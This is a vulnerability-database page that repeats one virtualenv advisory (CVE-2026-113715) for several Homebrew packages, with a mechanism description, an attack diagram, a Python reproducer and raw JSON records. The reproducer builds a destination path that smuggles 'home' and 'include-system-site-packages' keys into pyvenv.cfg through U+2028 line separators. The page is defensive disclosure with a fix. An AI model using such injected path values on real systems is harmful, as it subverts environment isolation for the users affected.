Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-CHARM-TOOLS-CVE-202… (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-26 08:58 – Updated: 2026-11-19 08:49 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@20.39.1",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "charm-tools",
            "purl": "pkg:brew/charm-tools"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.0.4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@20.39.1",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "20.39.1"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-charm-tools-CVE-2026-113715",
      "modified": "2026-11-19T08:49:57Z",
      "published": "2026-10-26T08:58:45Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "CVE-2026-113715",
        "BIT-virtualenv-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-CONDA-LOCK-CVE-2026… (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-29 21:39 – Updated: 2026-11-19 08:45 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.6",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "conda-lock",
            "purl": "pkg:brew/conda-lock"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.5.5"
                },
                {
                  "fixed": "4.1.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.6",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.6"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-conda-lock-CVE-2026-113715",
      "modified": "2026-11-19T08:45:29Z",
      "published": "2026-10-29T21:39:28Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "BIT-virtualenv-2026-113715",
        "CVE-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-HATCH-CVE-2026-113715 (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-27 09:24 – Updated: 2026-11-19 10:09 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

